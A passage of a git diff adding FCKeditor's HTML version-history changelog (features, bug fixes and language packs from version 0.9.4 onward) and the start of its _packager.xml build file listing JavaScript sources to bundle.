+                       Patch-934566</a>] <strong>Double click support</strong> for Images, Tables, Links,
+                       Anchors and all Form elements. Thanks to Top Man. </li>
+               <li>New <strong>&quot;New Page&quot; command</strong> to start a typing from scratch.
+                       Thanks to Abdul-Aziz A. Al-Oraij. </li>
+               <li>New <strong>&quot;Replace&quot; command</strong>. Thanks to Abdul-Aziz A. Al-Oraij.
+               </li>
+               <li>New <strong>&quot;Advanced Font Style&quot; command</strong>. Thanks to Abdul-Aziz
+                       A. Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=738193&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-738193</a>] New <strong>&quot;Save&quot; command</strong>. It can be used
+                       to simulate a save action, but in fact it just submits the form where the editor
+                       is placed in. Thanks to Abdul-Aziz A. Al-Oraij. </li>
+               <li>New <strong>&quot;Universal Keyboard&quot; command</strong>. This 22 charsets are
+                       available: Arabic, Belarusian, Bulgarian, Croatian, Czech, Danish, Finnish, French,
+                       Greek, Hebrew, Hungarian, Diacritical, Macedonian, Norwegian, Polish, Russian, Serbian
+                       (Cyrillic), Serbian (Latin), Slovak, Spanish, Ukrainian and Vietnamese. Includes
+                       a keystroke listener to type Arabic on none Arabic OS or machine. Thanks to Abdul-Aziz
+                       A. Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=935358&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-935358</a>] New <strong>&quot;Preview&quot; command</strong>. Context menu
+                       option is included and can be deactivated throw the config.ShowPreviewContextMenu
+                       configuration. Thanks to Ben Ramsey. </li>
+               <li>New &quot;<strong>Table Auto Format</strong>&quot; context menu command. Hack a
+                       little the fck_config.js and the fck_editorarea.css files. Thanks to Alexandros
+                       Lezos. </li>
+               <li>New &quot;<strong>Bulleted List Properties</strong> &quot; context menu to define
+                       its type and class. Thanks to Alexandros Lezos. </li>
+               <li>The <strong>image dialog</strong> box has been a <strong>redesigned</strong> . Thanks
+                       to Mark Fierling. </li>
+               <li>Images now always have the <strong>&quot;alt&quot; attribute</strong> set, even
+                       when it's value is empty. Thanks to Andreas Barnet. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=942250&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-942250</a>] You can set on fck_config.js to <strong>automatically clean Word</strong>
+                       pasting operations without a user confirmation. </li>
+               <li>Forms element dialogs and other localization pending labels has been updated. </li>
+               <li>A new <strong>Lithuanian</strong> language file is available. Thanks to Tauras Paliulis.
+               </li>
+               <li>A new <strong>Hebrew</strong> language file is available. Thanks to Ophir Radnitz.
+               </li>
+               <li>A new <strong>Serbian</strong> language file is available. Thanks to Zoran Subic.
+               </li>
+               <li><strong>Danish</strong> language file updates. Thanks to Flemming Jensen. </li>
+               <li><strong>Catalan</strong> language file updates. Thanks to Jordi Cerdan. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=936514&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-936514</a>] [<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=918716&amp;group_id=75348">SF
+                               BUG-918716</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=931037&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-931037</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=865864&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-865864</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=915410&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-915410</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=918716&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-918716</a>] Some <strong>languages files</strong> were not
+                       saved on <strong>UTF-8</strong> format causing some javascript errors on loading
+                       the editor or making &quot;undefined&quot; to show on editor labels. This problem
+                       was solved. </li>
+               <li>Updates on the testsubmit.php file. Thanks to Geat and Gabriel Schillaci </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=924620&amp;group_id=75348">SF
+                       BUG-924620</a>] There was a problem when setting a name to an editor instance when
+                       the name is used by another tag. For example when using &quot;description&quot;
+                       as the name in a page with the &lt;META name=&quot;description&quot;&gt; tag. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=935018&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-935018</a>] The &quot;buletted&quot; typo has been corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=902122&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-902122</a>] Wrong css and js file references have been corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=918942&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-918942</a>] All dialog boxes now accept Enter and Escape keys as Ok and Cancel
+                       buttons.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.genuitec.com/">Genuitec,
+                       LLC</a>.</p>
+       <h3>
+               Version 1.5</h3>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543656&amp;aid=913777&amp;group_id=75348">SF
+                       Feature-913777</a>] <strong>New Form Commands</strong> are now available! Special
+                       thanks to G.Meijer. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=861149&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-861149</a>] <strong>Print Command</strong> is now available! </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=743546&amp;group_id=75348">SF
+                       BUG-743546</a>] The <strong>XHTML content duplication problem </strong>has been
+                       <strong>solved</strong> . Thanks to Paul Hutchison. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=875853&amp;group_id=75348">SF
+                       BUG-875853</a>] The <strong>image dialog box</strong> now gives precedence for width
+                       and height values set as styles. In this way a user can change the size of the image
+                       directly inside the editor and the changes will be reflected in the dialog box.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543656&amp;aid=913777&amp;group_id=75348">SF
+                       Feature-788368</a>] The sample <strong>file upload </strong>manager for ASPX now
+                       uses <strong>guids</strong> for the file name generation. In this way a support
+                       XML file is not needed anymore. </li>
+               <li>It's possible now to <strong>programmatically change the Base Path</strong> of the
+                       editor if it's installed in a directory different of &quot;/FCKeditor/&quot;. Something
+                       like this:<br />
+                       oFCKeditor.BasePath = '/FCKeditor/' ;<br />
+                       Take a look at the _test directory for samples. </li>
+               <li>There was a little bug in the TAB feature that moved the insertion point if there
+                       were any object (images, tables) in the content. It has been fixed. </li>
+               <li>The problem with <strong>accented and international characters</strong> on the PHP
+                       test page was solved. </li>
+               <li>A new <strong>Chinese (Taiwan)</strong> language file is available. Thanks to Nil.
+               </li>
+               <li>A new <strong>Slovenian</strong> language file is available. Thanks to Pavel Rotar.
+               </li>
+               <li>A new <strong>Catalan</strong> language file is available. Thanks to Jordi Cerdan.
+               </li>
+               <li>A new <strong>Arabic</strong> language file is available. Thanks to Abdul-Aziz A.
+                       Al-Oraij. </li>
+               <li>Small corrections on the <strong>Norwegian</strong> language file. </li>
+               <li>A Java version for the test results (testsubmit.jsp) is now available. Thanks to
+                       Pritpal Dhaliwal. </li>
+               <li>When using JavaScript to create a editor instance it's possible now to easily get
+                       the editor's value calling oFCKeditor.GetValue() (eg.). Better JavaScript API interfaces
+                       will be available on version 2.0. </li>
+               <li>If <strong>XHTML</strong> is enabled the editor cleans the HTML before showing it
+                       on the Source View, so the exact result can be viewed by the user. This option can
+                       be activated setting config.EnableSourceXHTML = true in the fck_config.js file.
+               </li>
+               <li>The <strong>JS integration object</strong> now escapes all configuration settings,
+                       in this way a user can use <strong>reserved chars</strong> on it. For example:
+                       <br />
+                       oFCKeditor.Config[&quot;ImageBrowserURL&quot;] = '/imgs/browse.asp?filter=abc*.jpg&amp;userid=1';
+               </li>
+               <li>A minimal browse server sample is now available in ASP. Thanks to Andreas Barnet.
+               </li>
+       </ul>
+       <h3>
+               Version 1.4</h3>
+       <ul>
+               <li><strong>ATTENTION: For PHP users</strong>: The editor was changed and now uses <strong>
+                       htmlspecialchars</strong> instead of <strong>htmlentities</strong> when handling
+                       the initial value. It should works well, but please make some tests before upgrading
+                       definitively. If there is any problem just uncomment the line in the fckeditor.php
+                       file (and send me a message!). </li>
+               <li>The editor is now integrated with <strong>ieSpell</strong> (<a href="http://www.iespell.com">http://www.iespell.com</a>)
+                       for <strong>Spell Checking</strong>. You can configure the download URL in then
+                       fck_config.js file. Thanks to Sanjay Sharma. (ieSpell is free for personal use but
+                       must be paid for commercial use) </li>
+               <li><strong>Table</strong> and <strong>table cell</strong> dialogs has been changed.
+                       Now you can <strong>select the class</strong> you want to be applied. Thanks to
+                       Alexander Lezos. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=865378&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-865378</a>]A new <strong>upload support is available for ASP</strong>. It
+                       uses the /UserImages/ folder in the root of the web site as the files container
+                       and a counter controlled by the upload.cnt file. Both must have write permissions
+                       set to the IUSR_xxx user. Thanks to Trax and Juanjo. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=798128&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-798128</a>] The user (programmer) can now define a <strong>custom separator</strong>
+                       for the list items of a combo in the toolbar. Thanks to Wulff D. Heiss. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=741963&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-741963</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=878941&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-878941</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=869389&amp;group_id=75348&amp;atid=543655">SF
+                                       Patch-869389</a>] A minimal support for a &ldquo;fake&rdquo; <strong>TAB is now available</strong>,
+                       even if HTML has no support for TAB. Now when the user presses the TAB key a configurable
+                       number of spaces (&amp;nbsp;) is added. Take a look at config.TabSpaces on the fck_config.js
+                       file. No action is performed if it is set to zero. The default value is 4. Thanks
+                       to Phil Hassey. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=782779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-782779</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=790939&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-790939</a>] The problem with big images has been corrected. Thanks to Raver.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853374&amp;group_id=75348">SF
+                       BUG-862975</a>] Now the editor does nothing if no image is selected in the image
+                       dialog box and the OK button is hit. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=851609&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-851609</a>] The problem with ASP and null values has been solved. </li>
+               <li><strong>Norwegean</strong> language pack. Thanks to Martin Kronstad. </li>
+               <li><strong>Hungarian</strong> language pack. Thanks to Bal&aacute;zs Szab&oacute;.
+               </li>
+               <li><strong>Bosnian</strong> language pack. Thanks to Trax. </li>
+               <li><strong>Japanese</strong> language pack. Thanks to Kato Yuichiro. </li>
+               <li>Updates on the <strong>Polish</strong> language pack. Thanks to Norbert Neubauer.
+               </li>
+               <li>The <strong>Chinese (Taiwan)</strong> (zh-tw) has been removed from the package
+                       because it's corrupt. I'm sorry. I hope someone could send me a good version soon.
+               </li>
+       </ul>
+       <h3>
+               Version 1.3.1</h3>
+       <ul>
+               <li>It's now possible to configure the editor the insert a <strong>&lt;BR&gt; tag instead
+                       of &lt;P&gt;</strong> when the user presses the <strong>&lt;Enter&gt;</strong> key.
+                       Take a look at the fck_config.js configuration file for the &quot;<strong>UseBROnCarriageReturn</strong>&quot;
+                       key. This option is disabled by default. </li>
+               <li><strong>Icelandic</strong> language pack. Thanks to Andri &Oacute;skarsson. </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853374&amp;group_id=75348">SF
+                       BUG-853374</a>] On IE 5.0 there was a little error introduced with version 1.3 on
+                       initialization. It was corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853372&amp;group_id=75348">SF
+                       BUG-853372</a>] On IE 5.0 there was a little error introduced with version 1.3 when
+                       setting the focus in the editor. It was corrected. </li>
+               <li>Minor errors on the language file for <strong>english</strong> has been corrected.
+                       Thanks to Anders Madsen. </li>
+               <li>Minor errors on the language file for <strong>danish</strong> has been corrected.
+                       Thanks to Martin Johansen. </li>
+       </ul>
+       <h3>
+               Version 1.3</h3>
+       <ul>
+               <li>Language support for <strong>Danish, Polish, Simple Chinese, Slovak, Swedish and
+                       Turkish</strong>. </li>
+               <li>Language updates for <strong>Romanian</strong>. </li>
+               <li>It's now possible to <strong>override</strong> any of the <strong>editor's configurations</strong>
+                       (for now it's implemented just for JavaScript, ASPX and HTC modules). See _test/test.html
+                       for a sample. I'm now waiting for the Community for the ASP, CFM and PHP versions.
+               </li>
+               <li>A new method is available for <strong>PHP</strong> users. It's called <strong>ReturnFCKeditor</strong>.
+                       It works exactly like CreateFCKeditor, but it <strong>returns a string with the HTML</strong>
+                       for the editor instead of output it (echo). This feature is useful for people who
+                       are working with Smarty Templates or something like that. Thanks to Timothy J. Finucane.
+               </li>
+               <li>Many people have had problems with <strong>international characters</strong> over
+                       <strong>PHP</strong>. I had also the same problem. PHP have strange problems with
+                       character encoding. The code hasn't been changed but just saved again with Western
+                       European encoding. <strong>Now it works well</strong> in my system.<br />
+                       Take a look also at the &quot;default_charset&quot; configuration option at the
+                       php.ini file. It doesn't seem to be an editor's problem but a PHP issue. </li>
+               <li>The &quot;<strong>testsubmit.php</strong>&quot; file now strips the &quot;<strong>Magic
+                       Quotes</strong> &quot; that are automatically added by PHP on form posts. </li>
+               <li>A <strong>new language</strong> integration module is available for <strong>ASP/Jscript</strong>.
+                       Thanks to Dimiter Naydenov. </li>
+               <li><strong>New configuration</strong> options are available to <strong>customize the
+                       Target</strong> combo box in the <strong>Insert/Modify Link</strong> dialog box.
+                       Now you can hide it, or set which options are available in the combo box. Take a
+                       look at the fck_config.js file. </li>
+               <li>The <strong>Text as Plain Text</strong> toolbar <strong>icon</strong> has been changed
+                       <strong>to avoid confusion</strong> with the Normal Paste or. Thanks to Kaupo Kalda.
+               </li>
+               <li>The file <strong>dhtmled.cab has been removed</strong> from the package. It's not
+                       needed to the editor to work and caused some confusion for a few users. </li>
+               <li>The <strong>editor's content</strong> now <strong>doesn't loose the focus</strong>
+                       when the user clicks with the mouse in a toolbar button. </li>
+               <li>On <strong>drag-and-drop</strong> operations the data to be inserted in the editor
+                       is now <strong>converted to plain text</strong> when the &quot;<strong>ForcePasteAsPlainText</strong>&quot;
+                       configuration is set to <strong>true</strong>. </li>
+               <li>The <strong>image browser</strong> sample in PHP now <strong>sorts the files</strong>
+                       by name. Thanks to Sergey Lupashko. </li>
+               <li>Two <strong>new configuration</strong> options are available to <strong>turn on/off
+                       by default</strong> the &quot;<strong>Show Borders</strong>&quot; and &quot;<strong>Show
+                               Details</strong>&quot; commands. </li>
+               <li>Some <strong>characters have been removed</strong> from the &quot;<strong>Insert
+                       Special Chars</strong>&quot; dialog box because they were causing encoding problems
+                       in some languages. Thanks to Abomb Hua. </li>
+               <li><strong>JSP</strong> versions of the <strong>image and file upload and browsing</strong>
+                       features. Thanks to Simone Chiaretta.</li>
+       </ul>
+       <h3>
+               Version 1.2.4</h3>
+       <ul>
+               <li>Language support for <strong>Spanish, Finnish, Romanian and Korean</strong>. </li>
+               <li>Language updates for <strong>German</strong>. </li>
+               <li>New <strong>Zoom</strong> toolbar option. (<a href="https://sourceforge.net/forum/forum.php?thread_id=904116&amp;forum_id=257180">Thanks
+                       to &quot;mtn_roadie&quot;</a>)</li>
+       </ul>
+       <h3>
+               Version 1.2.2</h3>
+       <ul>
+               <li>Language support for <strong>French</strong>. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=782779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-782779</a>] Version 1.2 introduced a bug on the image dialog window: when changing
+                       the image, no update was done. This bug is now fixed. </li>
+       </ul>
+       <h3>
+               Version 1.2</h3>
+       <ul>
+               <li>Enhancements to the <strong>Word cleaning</strong> feature (Thanks to Karl von Randow).
+               </li>
+               <li>The <strong>Table dialog box</strong> now handles the Style width and height set
+                       in the table (Thanks to Roberto Arruda). There where many problems on prior version
+                       when people changed manually the table's size, dragging the size handles, and then
+                       it was not possible to set a new size using the table dialog box. </li>
+               <li>For the <strong>Image dialog box:</strong>
+                       <ul>
+                               <li>No image is shown in the preview pane if no image has been set. </li>
+                               <li>If no HSpace is set in the image a &quot;-1&quot; value was shown in the dialog
+                                       box. Now, nothing is shown if the value is negative. </li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=739630&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-739630</a>] Image with link lost the link when changing its properties. The
+                       problem is solved. </li>
+               <li>Due to some problems in the XHTML cleaning (content duplication when the source
+                       HTML is dirty and malformed), the <strong>XHTML support is turned off by default</strong>
+                       from this version. You can still change this behavior and turn it on in the configuration
+                       file. </li>
+               <li>Some little updates on the <strong>English </strong>language file. </li>
+               <li>A few addition of missing entries on all languages files (translations for these
+                       changes are pending). </li>
+               <li>Language files has been added for the following languages:
+                       <ul>
+                               <li><strong>Brazilian Portuguese</strong> (pt-br) </li>
+                               <li><strong>Czech</strong> (cz) </li>
+                               <li><strong>Dutch</strong> (nl) </li>
+                               <li><strong>Russian</strong> (ru) </li>
+                               <li><strong>Chinese (Taiwan)</strong> (zh-tw) </li>
+                               <li><strong>Greek</strong> (gr) </li>
+                               <li><strong>German</strong> (de)</li>
+                       </ul>
+               </li>
+       </ul>
+       <h3>
+               Version 1.1</h3>
+       <ul>
+               <li>The &quot;<strong>Multi Language</strong>&quot; system is now available. This version
+                       ships with English and Italian versions completed. Other languages will be available
+                       soon. The editor automatically detects the client language and sets all labels,
+                       tooltips and dialog boxes to it, if available. The auto detection and the default
+                       language can be set in the <strong>fck_config.file</strong>. </li>
+               <li>Two files can now be created to isolate customizations code from the original source
+                       code of the editor: <strong>fckeditor.config.js</strong> and <strong>fckeditor.custom.js</strong>.
+                       Create these files in the root folder of your web site, if needed. The first one
+                       can be used to add or override configurations set on fck_config.js. The second one
+                       is used for custom actions and behaviors. </li>
+               <li>A problem with relative links and images like &quot;/test/test.doc&quot; has been
+                       solved. In prior versions, only with XHTML support enabled, the URL was changed
+                       to something like &quot;http://www.mysite.xxx/test/test.doc&quot; (The domain was
+                       automatically added). Now the XHTML cleaning procedure gets the URLs exactly how
+                       they are defined in the editor&rsquo;s HTML. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=742168&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-742168</a>] Mouse drag and drop from toolbar buttons has been disabled. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=768210&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-768210</a>] HTML entities, like <strong>&amp;lt;</strong>, were not load correctly.
+                       The problem is solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=748812&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-748812</a>] The link dialog window doesn't open when the link button is grayed.
+               </li>
+       </ul>
+       <h3>
+               Version 1.0</h3>
+       <ul>
+               <li>Three new options are available in the configuration file to set what file types
+                       are allowed / denied to be uploaded from the &quot;Insert Link&quot; and &quot;Insert
+                       Image&quot; dialog boxes. </li>
+               <li>Upload options, for links and images, are automatically hidden on IE 5.0 browsers
+                       (it's not compatible). </li>
+               <li>[SF BUG-734894] Fixed a problem on XHTML cleaning: the value on INPUT fields were
+                       lost. </li>
+               <li>[SF BUG-713797] Fixed some image dialog errors when trying to set image properties
+                       when no image is available. </li>
+               <li>[SF BUG-736414] Developed a workaround for a DHTML control bug when loading in the
+                       editor some HTML started with &lt;p&gt;&lt;hr&gt;&lt;/p&gt;. </li>
+               <li>[SF BUG-737143] Paste from Word cleaning changed to solve some IE 5.0 errors. This
+                       feature is still not available over IE 5.0. </li>
+               <li>[SF BUG-737233] CSS mappings are now OK on the PHP image browser module. </li>
+               <li>[SF BUG-737495] The image preview in the image dialog box is now working correctly.
+               </li>
+               <li>[SF BUG-737532] The editor automatically switches to WYSIWYG mode when the form
+                       is posted. </li>
+               <li>[SF BUG-739571] The editor is now working well over Opera (as for Netscape, a TEXTAREA
+                       is shown). </li>
+       </ul>
+       <h3>
+               Version 1.0 Final Candidate</h3>
+       <ul>
+               <li>A new dialog box for the &quot;Link&quot; command is available. Now you can upload
+                       and browse the server exactly like the image dialog box. It's also possible to define
+                       the link title and target window (_blank, _self, _parent and _top). As with the
+                       image dialog box, a sample (and simple) file server browser is available. </li>
+               <li>A new configuration option is available to force every paste action to be handled
+                       as plain text. See &quot;config.ForcePasteAsPlainText&quot; in fck_config.js. </li>
+               <li>A new Toolbar button is available: &quot;Paste from Word&quot;. It automatically
+                       cleans the clipboard content before pasting (removesWord styles, classes, xml stuff,
+                       etc...). This command is available for IE 5.5 and more. For IE 5.0 users, a message
+                       is displayed advising that the text will not be cleaned before pasting. </li>
+               <li>The editor automatically detects Word clipboard data on pasting operations and asks
+                       the user to clean it before pasting. This option is turned on by default but it
+                       can be configured. See &quot;config.AutoDetectPasteFromWord&quot; in fck_config.js.
+               </li>
+               <li>Table properties are now available in cells' right click context menu. </li>
+               <li>It's now possible to edit cells advanced properties from it's right click context
+                       menu. </li>
+       </ul>
+       <h3>
+               Version 1.0 Release Candidate 1 (RC1)</h3>
+       <ul>
+               <li>Some performance improvements. </li>
+               <li>The file dhtmled.cab has been added to the package for clients ho needs to install
+                       the Microsoft DHTML Editor component. </li>
+               <li>[SF BUG-713952] The format command options are localized, so it depends on the IE
+                       language to work. Until version 0.9.5 it was working only over English IE browsers.
+                       Now the options are load dynamically on the client using the client's language.
+               </li>
+               <li>[SF BUG-712103] The style command is localized, so it depends on the IE language
+                       to work. Until version 0.9.5 it was working only over English IE browsers. Now it
+                       configures itself using the client's language. </li>
+               <li>[SF BUG-726137] On version 0.9.5, some commands (special chars, image, emoticons,
+                       ...) remove the next available character before inserting the required content even
+                       if no selection was made in the editor. Now the editor replaces only the selected
+                       content (if available). </li>
+       </ul>
+       <h3>
+               Version 0.9.5 beta</h3>
+       <ul>
+               <li>XHTML support is now available! It can be enabled/disabled in the fck_config.js
+                       file. </li>
+               <li>&quot;Show Table Borders&quot; option: show borders for tables with borders size
+                       set to zero. </li>
+               <li>&quot;Show Details&quot; option: show hidden elements (comments, scripts, paragraphs,
+                       line breaks) </li>
+               <li>IE behavior integration module. Thanks to Daniel Shryock. </li>
+               <li>&quot;Find&quot; option: to find text in the document. </li>
+               <li>More performance enhancements. </li>
+               <li>New testsubmit.php file. Thansk to Jim Michaels. </li>
+               <li>Two initial PHP upload manager implementations (not working yet). Thanks to Frederic
+                       Tyndiuk and Christian Liljedahl. </li>
+               <li>Initial PHP image browser implementation (not working yet). Thanks to Frederic Tyndiuk.
+               </li>
+               <li>Initial CFM upload manager implementation. Thanks to John Watson. </li>
+       </ul>
+       <h3>
+               Version 0.9.4 beta</h3>
+       <ul>
+               <li>ColdFusion module integration is now available! Thanks to John Watson. </li>
+               <li>&quot;Insert Smiley&quot; toolbar option! Thanks to Fredox. Take a look at fck_config.js
+                       for configuration options. </li>
+               <li>&quot;Paste as plain text&quot; toolbar option! </li>
+               <li>Right click support for links (edit / remove). </li>
+               <li>Buttons now are shown in gray when disabled. </li>
+               <li>Buttons are shown just when the image is downloaded (no more &quot;red x&quot; while
+                       waiting for it). </li>
+               <li>The toolbar background color can be set with a CSS style (see fck_editor.css). </li>
+               <li>Toolbar images have been reviewed:
+                       <ul>
+                               <li>Now they are transparent. </li>
+                               <li>No more over...gif for every button (so the editor loads quicker). </li>
+                               <li>Buttons states are controlled with CSS styles. (see fck_editor.css).</li>
+                       </ul>
+               </li>
+               <li>Internet Explorer 5.0 compatibility, except for the image uploading popup. </li>
+               <li>Optimizations when loading the editor. </li>
+               <li>[SF BUG-709544] - Toolbar buttons wait for the images to be downloaded to start
+                       watching and responding the user actions (turn buttons on/off when the user changes
+                       position inside the editor). </li>
+               <li>JavaScript integration is now Object Oriented. CreateFCKeditor function is not available
+                       anymore. Take a look in test.html. </li>
+               <li>Two new configuration options, ImageBrowser and ImageUpload, are available to turn
+                       on and off the image upload and image browsing options in the Image dialog box.
+                       This options can be hidden for a specific editor instance throw specific URL parameter
+                       in the editor&rsquo;s IFRAME (upload=true/false&amp;browse=true/false). All specific
+                       language integration modules handle this option. For sample see the _test directory.
+               </li>
+       </ul>
+</body>
+</html>
diff --git a/fckeditor/editor/_packager.xml b/fckeditor/editor/_packager.xml
new file mode 100755 (executable)
index 0000000..eb9facb
--- /dev/null
@@ -0,0 +1,218 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: _packager.xml
+ *     This is the configuration file used by the FCKeditor.Packager to create the
+ *     compressed code files in the "js" folder.
+ *     
+ *     The FCKeditor.Packager software can be used to create the compressed files
+ *     for the FCKeditor project only. Any other use of this software is illegal. 
+ *     
+ *     Please check http://www.fckeditor.net/ckpackager for more info.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Package>
+       <Constants removeDeclaration="false">
+               <Constant name="FCK_STATUS_NOTLOADED" value="0" />
+               <Constant name="FCK_STATUS_ACTIVE" value="1" />
+               <Constant name="FCK_STATUS_COMPLETE" value="2" />
+               <Constant name="FCK_TRISTATE_OFF" value="0" />
+               <Constant name="FCK_TRISTATE_ON" value="1" />
+               <Constant name="FCK_TRISTATE_DISABLED" value="-1" />
+               <Constant name="FCK_UNKNOWN" value="-9" />
+               <Constant name="FCK_TOOLBARITEM_ONLYICON" value="0" />
+               <Constant name="FCK_TOOLBARITEM_ONLYTEXT" value="1" />
+               <Constant name="FCK_TOOLBARITEM_ICONTEXT" value="2" />
+               <Constant name="FCK_EDITMODE_WYSIWYG" value="0" />
+               <Constant name="FCK_EDITMODE_SOURCE" value="1" />
+       </Constants>
+       <PackageFile name="fckeditorcode_ie.js">
+               <File path="editor/_source/fckconstants.js" />
+               <File path="editor/_source/fckjscoreextensions.js" />
+               <File path="editor/_source/classes/fckiecleanup.js" />
+               <File path="editor/_source/internals/fckbrowserinfo.js" />
+               <File path="editor/_source/internals/fckurlparams.js" />
+               <File path="editor/_source/classes/fckevents.js" />
+               <File path="editor/_source/internals/fck.js" />
+               <File path="editor/_source/internals/fck_ie.js" />
+               <File path="editor/_source/internals/fckconfig.js" />
+               <File path="editor/_source/internals/fckdebug.js" />
+               <File path="editor/_source/internals/fckdomtools.js" />
+               <File path="editor/_source/internals/fcktools.js" />
+               <File path="editor/_source/internals/fcktools_ie.js" />
+               <File path="editor/_source/fckeditorapi.js" />
+               <File path="editor/_source/classes/fckimagepreloader.js" />
+
+               <File path="editor/_source/internals/fckregexlib.js" />
+               <File path="editor/_source/internals/fcklanguagemanager.js" />
+               <File path="editor/_source/internals/fckxhtmlentities.js" />
+               <File path="editor/_source/internals/fckxhtml.js" />
+               <File path="editor/_source/internals/fckxhtml_ie.js" />
+               <File path="editor/_source/internals/fckcodeformatter.js" />
+               <File path="editor/_source/internals/fckundo_ie.js" />
+               <File path="editor/_source/classes/fckeditingarea.js" />
+               <File path="editor/_source/classes/fckkeystrokehandler.js" />
+
+               <File path="editor/_source/internals/fcklisthandler.js" />
+               <File path="editor/_source/classes/fckelementpath.js" />
+               <File path="editor/_source/classes/fckdomrange.js" />
+               <File path="editor/_source/classes/fckdomrange_ie.js" />
+               <File path="editor/_source/classes/fckdocumentfragment_ie.js" />
+               <File path="editor/_source/classes/fckw3crange.js" />
+               <File path="editor/_source/classes/fckenterkey.js" />
+
+               <File path="editor/_source/internals/fckdocumentprocessor.js" />
+               <File path="editor/_source/internals/fckselection.js" />
+               <File path="editor/_source/internals/fckselection_ie.js" />
+
+               <File path="editor/_source/internals/fcktablehandler.js" />
+               <File path="editor/_source/internals/fcktablehandler_ie.js" />
+               <File path="editor/_source/classes/fckxml_ie.js" />
+               <File path="editor/_source/classes/fckstyledef.js" />
+               <File path="editor/_source/classes/fckstyledef_ie.js" />
+               <File path="editor/_source/classes/fckstylesloader.js" />
+
